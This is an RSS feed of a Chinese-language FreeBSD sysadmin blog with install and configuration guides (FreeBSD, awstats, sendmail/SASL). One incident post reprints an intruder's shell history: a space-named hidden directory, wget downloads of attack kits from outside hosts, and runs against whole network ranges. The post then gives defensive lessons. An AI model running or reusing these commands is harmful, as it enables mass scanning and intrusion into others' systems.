<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>SmallKen's Blog &#187; FreeBSD</title>
	<atom:link href="http://smallken.no-ip.org/blog/category/freebsd/feed" rel="self" type="application/rss+xml" />
	<link>http://smallken.no-ip.org/blog</link>
	<description>※歡迎光臨※ 知識分享、Linux、FreeBSD、教學、吉他、影音分享、RHCE</description>
	<lastBuildDate>Fri, 20 Nov 2009 16:17:21 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>如何安裝 FreeBSD 7.0?</title>
		<link>http://smallken.no-ip.org/blog/2008/07/20/freebsd/792.html</link>
		<comments>http://smallken.no-ip.org/blog/2008/07/20/freebsd/792.html#comments</comments>
		<pubDate>Sun, 20 Jul 2008 14:06:08 +0000</pubDate>
		<dc:creator>smallken</dc:creator>
				<category><![CDATA[FreeBSD]]></category>

		<guid isPermaLink="false">http://smallken.no-ip.org/blog/2008/07/20/freebsd/792.html</guid>
		<description><![CDATA[FreeBSD7.0 ISO 檔下載
下載ISO檔回來，燒成光碟，光碟機先放入第一片光碟，使用光碟開機
進到第一個畫面，可直接按 Enter，也可以等10秒倒數完畢後直接就進入了安裝程序
找到了 Taiwan，OK! 
選擇... ]]></description>
			<content:encoded><![CDATA[<p>FreeBSD7.0 ISO 檔<a href="http://ftp.isu.edu.tw/pub/FreeBSD/releases/i386/ISO-IMAGES/7.0/">下載</a></p>
<p>下載ISO檔回來，燒成光碟，光碟機先放入第一片光碟，使用光碟開機</p>
<p>進到第一個畫面，可直接按 Enter，也可以等10秒倒數完畢後直接就進入了安裝程序<br /><img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="277" alt="1" src="http://smallken.no-ip.org/blog/wp-content/uploads/2008/07/1.png" width="500" border="0"/></p>
<p>找到了 Taiwan，OK!<br /><img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="277" alt="2" src="http://smallken.no-ip.org/blog/wp-content/uploads/2008/07/2.png" width="500" border="0"/> </p>
<p>選擇鍵盤語系，預設 "USA ISO" 即可，OK!</p>
<p><span id="more-792"></span></p>
<p><img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="277" alt="3" src="http://smallken.no-ip.org/blog/wp-content/uploads/2008/07/3.png" width="500" border="0"/> </p>
<p>使用上下鍵選到 "Standard"，再使用 Tab 建選到 "Select"，Enter<br /><img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="277" alt="4" src="http://smallken.no-ip.org/blog/wp-content/uploads/2008/07/4.png" width="500" border="0"/></p>
<p>OK!<br /><img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="277" alt="5" src="http://smallken.no-ip.org/blog/wp-content/uploads/2008/07/5.png" width="500" border="0"/> </p>
<p>先按鍵盤的'A' 使用整顆硬碟，再按鍵盤上的'Q'，完成<br /><img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="277" alt="6" src="http://smallken.no-ip.org/blog/wp-content/uploads/2008/07/6.png" width="500" border="0"/> </p>
]]></content:encoded>
			<wfw:commentRss>http://smallken.no-ip.org/blog/2008/07/20/freebsd/792.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Windows to Unix-like 傳檔案好用軟體 - Winscp</title>
		<link>http://smallken.no-ip.org/blog/2007/06/14/freebsd/271.html</link>
		<comments>http://smallken.no-ip.org/blog/2007/06/14/freebsd/271.html#comments</comments>
		<pubDate>Thu, 14 Jun 2007 09:11:07 +0000</pubDate>
		<dc:creator>smallken</dc:creator>
				<category><![CDATA[FreeBSD]]></category>
		<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://smallken.no-ip.org/blog/2007/06/14/271/</guid>
		<description><![CDATA[如果是 unix-like 機器之間傳檔那沒什麼大問題用 scp 就可以，例如
本地文件拷貝到遠端機器
# scp file.txt 192.168.1.9:/root/
從遠端拷貝到本機
# scp 192.168.1.9:/root/file.txt .
但是身為一個系統管理者最常... ]]></description>
			<content:encoded><![CDATA[<p>如果是 unix-like 機器之間傳檔那沒什麼大問題用 scp 就可以，例如<br />
本地文件拷貝到遠端機器<br />
# scp file.txt 192.168.1.9:/root/</p>
<p>從遠端拷貝到本機<br />
# scp 192.168.1.9:/root/file.txt .</p>
<p>但是身為一個系統管理者最常遇到的還是想要從 Windows XP 桌面上傳資料到 Linux 的機器裡，一般有人會說就用FTP就好了呀! 對，說得也是，但是 root 預設不能登入 FTP，我又不想為了傳檔案再去多建一個帳號，那這時候就可以用 Winscp 來傳檔案，它很像 FTP的連線方式，但是 protocal 是用 ssh 連線的，有時候也說這是 SecureFTP(SFTP)，資料有加密的FTP，一樣是輸入 1.IP 2.帳號 3.密碼 4.port 預是 22<br />
<img src="http://smallken.no-ip.org/blog/wp-content/uploads/2007/06/12.png" alt="12.png" /></p>
<p>其實我後來也發現很多 FTP Client 也已經把這個功能整合進了，例如：FileZilla ，呵...只是習慣性問題我都忘記 FileZilla 可以用，還是習慣就用了 Winscp<br />
官方網站下載 <a href="http://www.winscp.com/">http://www.winscp.com/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://smallken.no-ip.org/blog/2007/06/14/freebsd/271.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>基隆市政府教育局95年度網管人員研習 - FreeBSD 教學</title>
		<link>http://smallken.no-ip.org/blog/2007/01/12/freebsd/75.html</link>
		<comments>http://smallken.no-ip.org/blog/2007/01/12/freebsd/75.html#comments</comments>
		<pubDate>Fri, 12 Jan 2007 01:01:55 +0000</pubDate>
		<dc:creator>smallken</dc:creator>
				<category><![CDATA[FreeBSD]]></category>

		<guid isPermaLink="false">http://140.123.23.69/blog/?p=75</guid>
		<description><![CDATA[基隆市政府教育局95年度網管人員研習
http://210.240.6.70/moodle151/
真是感動,寫得很詳細,Good!
還有它那個平台叫"moodle",是一個開放源始碼的教學平台... ]]></description>
			<content:encoded><![CDATA[<p>基隆市政府教育局95年度網管人員研習<br />
<a href="http://210.240.6.70/moodle151/">http://210.240.6.70/moodle151/</a></p>
<p>真是感動,寫得很詳細,Good!<br />
還有它那個平台叫"moodle",是一個開放源始碼的教學平台</p>
]]></content:encoded>
			<wfw:commentRss>http://smallken.no-ip.org/blog/2007/01/12/freebsd/75.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>編輯 /etc/rc.conf 語法(syntax)錯誤,導致無法開機時?</title>
		<link>http://smallken.no-ip.org/blog/2006/12/21/freebsd/51.html</link>
		<comments>http://smallken.no-ip.org/blog/2006/12/21/freebsd/51.html#comments</comments>
		<pubDate>Thu, 21 Dec 2006 05:12:22 +0000</pubDate>
		<dc:creator>smallken</dc:creator>
				<category><![CDATA[FreeBSD]]></category>

		<guid isPermaLink="false">http://140.123.23.69/blog/?p=51</guid>
		<description><![CDATA[1.進入 single mode(read-only)。
2.# mount / 以讀寫模式 重新掛載根檔案系統，或者mount -a -t ufs 將你慣用的文字編輯器所在的檔案系統掛載上來。
參考:
http://www.freebsd.org/zh/FAQ/admin.html#RCCONF-READONLY
http://... ]]></description>
			<content:encoded><![CDATA[<p>1.進入 single mode(read-only)。<br />
2.# mount / 以讀寫模式 重新掛載根檔案系統，或者<font face="Courier New">mount -a -t ufs</font> 將你慣用的文字編輯器所在的檔案系統掛載上來。</p>
<p>參考:<br />
<a href="http://www.freebsd.org/zh/FAQ/admin.html#RCCONF-READONLY">http://www.freebsd.org/zh/FAQ/admin.html#RCCONF-READONLY</a><br />
<a href="http://www.freebsd.org/zh/FAQ/">http://www.freebsd.org/zh/FAQ/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://smallken.no-ip.org/blog/2006/12/21/freebsd/51.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>FreeBSD mount CIFS/SMB 的指令</title>
		<link>http://smallken.no-ip.org/blog/2006/12/16/freebsd/48.html</link>
		<comments>http://smallken.no-ip.org/blog/2006/12/16/freebsd/48.html#comments</comments>
		<pubDate>Sat, 16 Dec 2006 08:12:41 +0000</pubDate>
		<dc:creator>smallken</dc:creator>
				<category><![CDATA[FreeBSD]]></category>

		<guid isPermaLink="false">http://140.123.23.69/blog/?p=48</guid>
		<description><![CDATA[windows 網路芳鄰的 IP: 192.168.1.3
電腦名稱: SMALLKEN
電腦名稱及完整路徑: //SMALLKEN/blog/
要掛入的目錄: /backup
-I : 表示指定IP
-N : 表示不用密碼
# /usr/sbin/mount_smbfs -I 192.168.1.3 -N '//SMALLKEN/blog/' /backup
// ... ]]></description>
			<content:encoded><![CDATA[<p>windows 網路芳鄰的 IP: 192.168.1.3<br />
電腦名稱: SMALLKEN<br />
電腦名稱及完整路徑: //SMALLKEN/blog/<br />
要掛入的目錄: /backup<br />
-I : 表示指定IP<br />
-N : 表示不用密碼<br />
# /usr/sbin/mount_smbfs -I 192.168.1.3 -N '//SMALLKEN/blog/' /backup<br />
// 去掉 -N 後他會詢問密碼，而且要指定帳號 username<br />
# /usr/sbin/mount_smbfs -I 192.168.1.3 <a href="mailto:'//username@SMALLKEN/blog/'">'//username@SMALLKEN/blog/'</a> /backup<br />
// 掛入中文目錄 -L zh_Tw.Big5<br />
# /usr/sbin/mount_smbfs -L zh_Tw.Big5 -I 192.168.1.3 -N '//SMALLKEN/blog/' /backup</p>
]]></content:encoded>
			<wfw:commentRss>http://smallken.no-ip.org/blog/2006/12/16/freebsd/48.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>FreeBSD6.1 安裝 awstats - 網站資料分析軟體</title>
		<link>http://smallken.no-ip.org/blog/2006/12/04/freebsd/39.html</link>
		<comments>http://smallken.no-ip.org/blog/2006/12/04/freebsd/39.html#comments</comments>
		<pubDate>Mon, 04 Dec 2006 03:12:19 +0000</pubDate>
		<dc:creator>smallken</dc:creator>
				<category><![CDATA[FreeBSD]]></category>

		<guid isPermaLink="false">http://140.123.23.69/blog/?p=39</guid>
		<description><![CDATA[
官方網站：http://awstats.sourceforge.net/



// 到官方網站下載程式
# fetch http://prdownloads.sourceforge.net/awstats/awstats-6.5.tar.gz
// 解壓縮，並且指定解到 /usr/local 目錄
# tar zxvf awstats-6.5.tar.gz -C /usr/local/
# cd ... ]]></description>
			<content:encoded><![CDATA[<p><img src="http://smallken.no-ip.org/blog/uploads/wp-content/uploads/2006/12/3.jpg" /></p>
<p>官方網站：<a href="http://awstats.sourceforge.net/">http://awstats.sourceforge.net/</a></p>
<table BORDER COLS=1 WIDTH="400" BGCOLOR="#000000" >
<tr>
<td><font color="#ffffff"><br />
// 到官方網站下載程式<br />
# fetch <a href="http://prdownloads.sourceforge.net/awstats/awstats-6.5.tar.gz">http://prdownloads.sourceforge.net/awstats/awstats-6.5.tar.gz</a><br />
// 解壓縮，並且指定解到 /usr/local 目錄<br />
# tar zxvf awstats-6.5.tar.gz -C /usr/local/<br />
# cd /usr/local/awstats-6.5/tools/<br />
// 開始執行設定過程<br />
# perl awstats_configure.pl</p>
<p>/usr/local/awstats-6.5<br />
to standard directory:<br />
/usr/local/awstats<br />
And then, run configure.pl from this location.<br />
Do you want to continue setup from this NON standard directory [yN] ? y<br />
// 安裝到 /usr/local/awstats-6.5 沒問題，所以 y</p>
<p>-----> Check for web server install</p>
<p>Enter full config file path of your Web server.<br />
Example: /etc/httpd/httpd.conf<br />
Example: /usr/local/apache2/conf/httpd.conf<br />
Example: c:Program filesapache groupapacheconfhttpd.conf<br />
Config file path ('none' to skip web server setup):<br />
> /usr/local/etc/apache21/httpd.conf<br />
// 這裡的OS是FreeBSD6.1，所以apache的設定檔位置如上</p>
<p>-----> Need to create a new config file ?<br />
Do you want me to build a new AWStats config/profile<br />
file (required if first install) [y/N] ? y<br />
// 要自動產生設定檔，y</p>
<p>-----> Define config file name to create<br />
What is the name of your web site or profile analysis ?<br />
Example: <a href="http://www.mysite.com/">www.mysite.com</a><br />
Example: demo<br />
Your web site, virtual server or profile name:<br />
> smallken<br />
// 隨便打個名稱給它</p>
<p>-----> Define config file path<br />
In which directory do you plan to store your config file(s) ?<br />
Default: /etc/awstats<br />
Directory path to store config file(s) (Enter for default):<br />
><br />
// 設定檔目錄要存在 /etc/awstates 沒問題，所以直接按 Enter 繼續</p>
<p>-----> Create config file '/etc/awstats/awstats.smallken.conf'<br />
 Config file /etc/awstats/awstats.smallken.conf created.</p>
<p>-----> Don't forget to restart manually your web server<br />
// 最後它跟我們說已經建立好 /etc/awstats/awstats.smallken.conf 設定檔了，必要時要再手動修改它</p>
<p>-----> Add update process inside a scheduler<br />
Sorry, configure.pl does not support automatic add to cron yet.<br />
You can do it manually by adding the following command to your cron:<br />
/usr/local/awstats-6.5/wwwroot/cgi-bin/awstats.pl -update -config=smallken<br />
Or if you have several config files and prefer having only one command:<br />
/usr/local/awstats-6.5/tools/awstats_updateall.pl now</p>
<p>A SIMPLE config file has been created: /etc/awstats/awstats.smallken.conf<br />
You should have a look inside to check and change manually main parameters.<br />
You can then manually update your statistics for 'smallken' with command:<br />
> perl awstats.pl -update -config=smallken<br />
You can also read your statistics for 'smallken' with URL:<br />
> <a href="http://localhost/awstats/awstats.pl?config=smallken">http://localhost/awstats/awstats.pl?config=smallken</a></p>
<p>Press ENTER to finish...</p>
<p></font></table>
<p>// 接下來我們要手動去修改 awstats.smallken.conf 這個設定檔<br />
# vi /etc/awstats/awstats.smallken.conf<br />
// FreeBSD6.1預設apache的log檔位置<br />
LogFile="/var/log/httpd-access.log"<br />
// 針對 www 的登錄檔分析<br />
LogType=W<br />
// 怎麼輸入都可以<br />
SiteDomain="smallken"<br />
// 設定成中文介面<br />
Lang="tw"<br />
// 建立程式要用的目錄<br />
# mkdir -p /var/lib/awstats<br />
# cd /usr/local/awstats-6.5/wwwroot/cgi-bin/<br />
# chmod +x ./*.pl</p>
<p>// 修改 httpd.conf<br />
# vi /usr/local/etc/apache21/httpd.conf<br />
// 這行在很後面，之前安裝程式加入的幾行中，修改這一行<br />
Alias /awstats/ "/usr/local/awstats-6.5/wwwroot/cgi-bin/"</p>
<p>// 重新啟動 apache<br />
# /usr/local/etc/rc.d/apache21.sh restart</p>
<p>// 修改權限<br />
# cd /usr/local<br />
# chmod -R 755 awstats-6.5/<br />
# chown -R root:wheel awstats-6.5/</p>
<p>// 產生報表，index.html就是統計報表網頁<br />
# cd /usr/local/awstats-6.5/wwwroot/cgi-bin/<br />
# perl awstats.pl -config=smallken -update -output > index.html</p>
<p>// <a href="http://localhost/awstats/">http://localhost/awstats/</a>，即可看到統計網頁<br />
// 成功之後，我們可以加入 cron<br />
# cd /usr/local/awstats-6.5/wwwroot/cgi-bin/<br />
# vi awstats.sh<br />
// 加入以下內容<br />
#!/bin/sh<br />
cd /usr/local/awstats-6.5/wwwroot/cgi-bin/<br />
perl awstats.pl -config=smallken -update -output > index.html</p>
<p># vi /etc/crontab<br />
// 加入以下這行，設定每天18:00自動執行統計報表<br />
0 18 * * * root /usr/local/awstats-6.5/wwwroot/cgi-bin/awstats.sh</p>
<p>Linux 安裝可以參考鳥哥的站<br />
<a href="http://linux.vbird.org/linux_server/0360apache.php#other_pkg_awstats">http://linux.vbird.org/linux_server/0360apache.php#other_pkg_awstats</a></p>
]]></content:encoded>
			<wfw:commentRss>http://smallken.no-ip.org/blog/2006/12/04/freebsd/39.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>被駭心得</title>
		<link>http://smallken.no-ip.org/blog/2006/11/29/freebsd/35.html</link>
		<comments>http://smallken.no-ip.org/blog/2006/11/29/freebsd/35.html#comments</comments>
		<pubDate>Wed, 29 Nov 2006 04:11:24 +0000</pubDate>
		<dc:creator>smallken</dc:creator>
				<category><![CDATA[FreeBSD]]></category>
		<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://140.123.23.69/blog/?p=35</guid>
		<description><![CDATA[上一篇才在講偵測 hacking 的程式，前幾天有一台主機就被入侵了，而且是已經用 rkhunter 偵測過了，過程就是因為用了一個student/student的帳號密碼，這個帳號是用來傳ftp檔案，雖然密碼被猜中登... ]]></description>
			<content:encoded><![CDATA[<p>上一篇才在講偵測 hacking 的程式，前幾天有一台主機就被入侵了，而且是已經用 rkhunter 偵測過了，過程就是因為用了一個student/student的帳號密碼，這個帳號是用來傳ftp檔案，雖然密碼被猜中登入進來其實他權限很小，但是他利用這台主機再去攻擊別的電腦，不久這個IP就被電算中心斷線，我會發現是因為發現student的密碼被改掉了，所以才再查下去，剛好 .bash_history 他沒砍，來看一下他操作過程:</p>
<p>w // 先查看線上user<br />
passwd // 改密碼,其實如果不改,比較難發覺被入侵<br />
cd /var/tmp // 切換目錄到 /var/tmp,這個目錄每個人都有權限<br />
mkdir " " // 建一個空白目錄,真的是空白,ls也看不到,除非注意到目錄個數<br />
cd " "<br />
wget serie.sapte.ro/as.tgz // 下載攻擊程式<br />
tar zxvf as.tgz // 解壓縮<br />
cd SSH/ // 這應該是程式放的位置<br />
ls<br />
./x 211.54; ./x 140.123 // 以下就開始執行攻擊程式,還有分網段在攻擊<br />
./x 140.124; ./x 140.125; ./x 140.126 // 都是台灣的,真可憐<br />
./x 140.127;./x 140.128;./x 140.129<br />
exit // 離開<br />
cd /var/tmp/" " // 再次登入了<br />
ls -a<br />
cd SSH/<br />
history<br />
./x 140.109;./x 140.110;./x 140.111;./x 140.112;./x 140.113 // 再次攻擊<br />
./x 140.114<br />
./x 140.115; ./x 140.116; ./x 140.117; ./x 140.118; ./x 140.119; ./x 140.120<br />
./x 140.121; ./x 140.122; ./x 140.123; ./x 140.124; ./x 140.125<br />
exit // 離開<br />
.<br />
. // 省略<br />
.<br />
w // 登入,進來換另外一種工具攻擊<br />
cd /var/tmp<br />
mkdir " "<br />
cd " "<br />
wget smeckeru.iitalia.com/delles.tar.gz<br />
tar zxvf delles.tar.gz<br />
rm -rf delles.tar.gz<br />
cd delles<br />
./a 211.54; ./a 211.20<br />
./a 140.123; ./a 140.120; ./a 140.121; ./a 140.122; ./a 140.124; ./a 140.125; ./a 140.126; ./a 140.127; ./a 140.128; ./a 140.129; ./a 140.130<br />
./a 129.93<br />
./a 130.64<br />
./a 140.131;./a 140.132;./a 140.133;./a 140.134;./a 140.135;./a 140.136;./a 140.137;./a 140.138;<br />
exit</p>
<p>查看last<br />
# last | grep student<br />
<img src="http://smallken.no-ip.org/blog/uploads/wp-content/uploads/2006/11/resize-of-21.jpg" /><br />
查到 IP 是 86.122.136.2<br />
到 <a target="_blank" href="http://www.dnsstuff.com/" title="www.DNSstuff.com"><font color="#3d7937">www.DNSstuff.com</font></a>：<a target="_blank" href="http://www.dnsstuff.com/"></a><a target="_blank" href="http://www.dnsstuff.com/" title="http://www.dnsstuff.com/"><font color="#3d7937">http://www.dnsstuff.com/</font></a> 反查IP是從哪裡來的<br />
<img src="http://smallken.no-ip.org/blog/uploads/wp-content/uploads/2006/11/22.jpg" /><br />
答案是從 romania 羅馬尼亞 來的</p>
<p>我想這裡需要PO點心得，下次必須要注意的地方<br />
1.在建user的帳號密碼時，不僅密碼設定要僅慎，帳號在挑選時就要盡量避免掉常用的會被猜到的帳號。<br />
2.若帳號只單純做ftp登入，那就編輯 /etc/passwd，把shell設定成/sbin/nologin，使其無法登入減少被入侵的機會。<br />
3.ssh 連線破壞性很強大，所以可以的話限制其連線區域。<br />
4.做好帳號密碼控管比起套件修補重要一百倍。<br />
5.其實這種攻擊方式很簡單也很保守，就是剛好遇到一個嗆司就剛好被他入侵，所以除了有rkhunter偵測以外，本身身為web master 的人帳號控管真的要先做好才是王道呀。</p>
]]></content:encoded>
			<wfw:commentRss>http://smallken.no-ip.org/blog/2006/11/29/freebsd/35.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>FreeBSD 6.1 安裝 sendmail+cyrus-sasl+pop3</title>
		<link>http://smallken.no-ip.org/blog/2006/11/22/freebsd/30.html</link>
		<comments>http://smallken.no-ip.org/blog/2006/11/22/freebsd/30.html#comments</comments>
		<pubDate>Wed, 22 Nov 2006 02:11:13 +0000</pubDate>
		<dc:creator>smallken</dc:creator>
				<category><![CDATA[FreeBSD]]></category>

		<guid isPermaLink="false">http://140.123.23.69/blog/?p=30</guid>
		<description><![CDATA[FreeBSD 6.1 的 sendmail+cyrus-sasl+pop3
安裝 Cyrus SASL
SASL (Simple Authentication and Security Layer)  具有身份認證的功能,讓你可以無論在任何地方
都可以順利寄出信件
// 安裝 ncftp, 若有安裝過跳過這裡
# cd /usr/p... ]]></description>
			<content:encoded><![CDATA[<p>FreeBSD 6.1 的 sendmail+cyrus-sasl+pop3</p>
<p>安裝 Cyrus SASL</p>
<p>SASL (Simple Authentication and Security Layer)  具有身份認證的功能,讓你可以無論在任何地方<br />
都可以順利寄出信件</p>
<p>// 安裝 ncftp, 若有安裝過跳過這裡<br />
# cd /usr/ports/ftp/ncftp<br />
# make install clean<br />
// 安裝好執行檔在 /usr/local/bin/ncftp1</p>
<p>// 設定 alias<br />
# vi /etc/profile<br />
alias ncftp="ncftp1"</p>
<p>// 沒時間重開機了,直接執行<br />
# alias ncftp="ncftp1"</p>
<p>// 到 ftp 抓檔案<br />
# ncftp <a href="ftp://ftp.andrew.cmu.edu/pub/cyrus-mail">ftp://ftp.andrew.cmu.edu/pub/cyrus-mail</a><br />
ncftp>get cyrus-sasl-2.1.22.tar.gz<br />
ncftp>quit</p>
<p># tar zxvf cyrus-sasl-2.1.22.tar.gz<br />
# cd cyrus-sasl-2.1.22<br />
# ./configure --enable-login --enable-plain<br />
# make<br />
# make install<br />
# cd /usr/lib<br />
# ln -s /usr/local/lib/sasl2 .<br />
# ln -s /usr/local/lib/sasl2 sasl<br />
# ln -s /usr/local/lib/libsasl* .<br />
# echo "pwcheck_method: saslauthd " > /usr/lib/sasl2/Sendmail.conf</p>
<p>// 接著我們要在一開機時就執行 saslauthd 這支認證用的程式，請新增檔名為 /usr/local/etc/rc.d/saslauthd.sh 的執行檔，內容如下：</p>
<p>#!/bin/sh</p>
<p>case $1 in<br />
"start")<br />
        echo "Starting saslauthd"<br />
        /usr/local/sbin/saslauthd -a pam<br />
        ;;<br />
"stop")<br />
        echo "Stoping saslauthd"<br />
        killall saslauthd<br />
        ;;<br />
*)<br />
        echo "Usage $0 start|stop"<br />
        ;;<br />
esac<br />
// 然後將該檔案屬性變為可執行，並建立一個 saslauthd 所需使用的工作目錄：</p>
<p># chmod 755 /usr/local/etc/rc.d/saslauthd.sh<br />
# mkdir -p /var/state/saslauthd</p>
<p>安裝 Sendmail</p>
<p>在安裝 Sendmail 之前，如果系統中正在執行舊版的 Sendmail，請先使用以下指令將它<br />
停掉：</p>
<p># kill -9 `cat /var/run/sendmail.pid|head -1`<br />
// 確認一下/etc/group和/etc/passwd,已經有smmsp這個群組跟使用者,若沒有請加入<br />
# cat /etc/group | grep smmsp<br />
smmsp:*:25:<br />
# cat /etc/passwd | grep smmsp<br />
smmsp:*:25:25:Sendmail Submission User:/var/spool/clientmqueue:/usr/sbin/nologin</p>
<p>// 到ftp抓檔案</p>
<p># ncftp <a href="ftp://www.sendmail.org/pub/sendmail">ftp://www.sendmail.org/pub/sendmail</a><br />
ncftp>get sendmail.8.13.8.tar.gz<br />
ncftp>quit</p>
<p># tar zxvf sendmail.8.13.8.tar.gz</p>
<p>// 接著建立檔案並加入下列內容：<br />
# vi sendmail-8.13.8/devtools/Site/site.config.m4<br />
PREPENDDEF(`confENVDEF', `-DMAP_REGEX')<br />
PREPENDDEF(`confOPTIMIZE', `-O2')<br />
APPENDDEF(`confENVDEF', `-DTCPWRAPPERS -DSASL=2')<br />
APPENDDEF(`conf_sendmail_LIBS', `-lwrap -lsasl2')<br />
APPENDDEF(`confLIBDIRS', `-L/usr/local/lib')<br />
APPENDDEF(`confINCDIRS', `-I/usr/local/include')<br />
APPENDDEF(`confENVDEF', `-DMILTER')</p>
<p>// 這邊解釋一下，如 `confENVDEF'，第一個`是鍵盤左上角數字1的左邊那個符號,接下來的'才是單引號</p>
<p>//完成後就可以開始安裝 Sendmail 了：<br />
# cd sendmail-8.13.8/<br />
# sh Build<br />
# sh Build install</p>
<p>// 為了要讓本地的使用者不必經由身份認證使用 SMTP，還須再做下列設定：</p>
<p># cd sendmail-8.13.8/obj*<br />
# cd mail.local<br />
# make force-install<br />
# chown root /usr/libexec/mail.local<br />
# chmod u+s /usr/libexec/mail.local</p>
<p>接下來編輯 sendmail 設定範本檔案以便產生出具有身分認證功能的 sendmail.cf 設定檔，請以下列指令執行：</p>
<p># cd sendmail-8.13.8/cf/cf/<br />
# cp generic-bsd4.4.mc MYCF.mc<br />
# cd ../feature<br />
# cat access_db.m4 >> ../cf/MYCF.mc<br />
# cat delay_checks.m4 >> ../cf/MYCF.mc<br />
# cat virtusertable.m4 >> ../cf/MYCF.mc<br />
# cd ../cf<br />
# cat >> MYCF.mc<br />
TRUST_AUTH_MECH(`LOGIN PLAIN')dnl<br />
define(`confAUTH_MECHANISMS', `LOGIN PLAIN')dnl<br />
^D(同時按Ctrl+D)</p>
<p>接著我們要建立 sendmail.cf：</p>
<p># sh Build MYCF.cf<br />
# cp MYCF.mc /etc/mail/sendmail.mc<br />
# cp MYCF.cf /etc/mail/sendmail.cf</p>
<p>接下來請編輯 /etc/mail/access 這個檔案，我們可以在 access 指定哪些 IP 或 domain 來源的機器是否可以經由我們的伺服器寄信。如果您希望自己內部網域的機器可以不必使用身份認証，你可以在這個檔案中加入內部網域的 IP。<br />
# cd /etc/mail<br />
# vi access<br />
127.0.0.1            RELAY<br />
# 內部網路不需要認証<br />
192.168.0           RELAY</p>
<p>// 接著請產生二個 sendmail 所需要的檔案：</p>
<p># touch /etc/mail/virtusertable<br />
# touch /etc/mail/aliases</p>
<p>// 然後請新增 /etc/mail/local-host-names 的檔案，裡面填入 localhost 以及機器的完整名字</p>
<p># vi local-host-names<br />
localhost<br />
test.edu.tw</p>
<p>// 當收到信的收件者不是給 test.edu.tw 時便會拒絕</p>
<p>接著，再新增一個檔名為 /etc/mail/relay-domains 的檔案填入本地的 domainname，<br />
例如: edu.tw<br />
這樣一來由本地的 domain 發信時便不需再一次做使用者認證。然後將這些檔案做成 sendmail 能接受的 DB 格式：<br />
# vi relay-domains<br />
edu.tw</p>
<p># cd /etc/mail<br />
# makemap hash access.db < access<br />
# makemap hash virtusertable.db < virtusertable<br />
# newaliases<br />
這樣就完成了。您可以執行<br />
# sendmail -d0.1 -bv root | grep SASL<br />
應該會出現 SASL 的字樣，表示己可認証。</p>
<p>最後，我們可以使用下列指令來啟動認證所需的程式及 Sendmail：</p>
<p>// 啟動 sasl<br />
# /usr/local/etc/rc.d/saslauthd.sh start</p>
<p>// 啟動 sendmail<br />
# /usr/sbin/sendmail -bd -q30m</p>
<p>在啟動 Sendmail 之後，如果執行<br />
# telnet localhost 25<br />
再打<br />
ehlo localhost<br />
我們應該看到一堆 250- 開頭的訊息，其中有一行<br />
250-AUTH LOGIN PLAIN<br />
就代表 Sendmail己經具有身份認證的功能，此時請輸入<br />
quit<br />
結束。萬一沒有出現，請閱讀 /var/log/maillog 裡面的訊息可以知道錯在哪裡。</p>
<p>如果我們希望在一開機便啟動 Sendmail，請在 /etc/rc.conf 中加入<br />
# vi /etc/rc.conf<br />
sendmail_enable="YES"</p>
<p>// 安裝 POP3 伺服器</p>
<p>POP3 的設定很簡單，我們只要選一個喜歡的 pop3 軟體，以 ports 安裝完後再做一些設定就好了。在這裡我選用 popa3d：</p>
<p># cd /usr/ports/mail/popa3d<br />
# make install clean</p>
<p>// 接著編輯 /etc/inetd.conf，找到 pop3 的部份，將開頭的 # 拿掉後，並加以修改如下：</p>
<p># vi /etc/inetd.conf<br />
pop3    stream  tcp     nowait  root    /usr/local/libexec/popa3d       popa3d</p>
<p>// 接著重新跑 inetd 即可：</p>
<p># kill -HUP `cat /var/run/inetd.pid`</p>
]]></content:encoded>
			<wfw:commentRss>http://smallken.no-ip.org/blog/2006/11/22/freebsd/30.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>FreeBSD6.1 安裝後之調教</title>
		<link>http://smallken.no-ip.org/blog/2006/11/20/freebsd/29.html</link>
		<comments>http://smallken.no-ip.org/blog/2006/11/20/freebsd/29.html#comments</comments>
		<pubDate>Mon, 20 Nov 2006 08:11:03 +0000</pubDate>
		<dc:creator>smallken</dc:creator>
				<category><![CDATA[FreeBSD]]></category>

		<guid isPermaLink="false">http://140.123.23.69/blog/?p=29</guid>
		<description><![CDATA[FreeBSD6.1 安裝後之調教
// root 不可以直接 ssh 遠端登入, 所以增加一個使用者
# useradd smallken
// 把 smallken 加入 whell 的群組裡, 才可以 su -
# vi /etc/group
// 安裝CVSup及bash
１、# Sysinstall
２、選擇 Configu... ]]></description>
			<content:encoded><![CDATA[<p>FreeBSD6.1 安裝後之調教</p>
<p>// root 不可以直接 ssh 遠端登入, 所以增加一個使用者<br />
# useradd smallken</p>
<p>// 把 smallken 加入 whell 的群組裡, 才可以 su -<br />
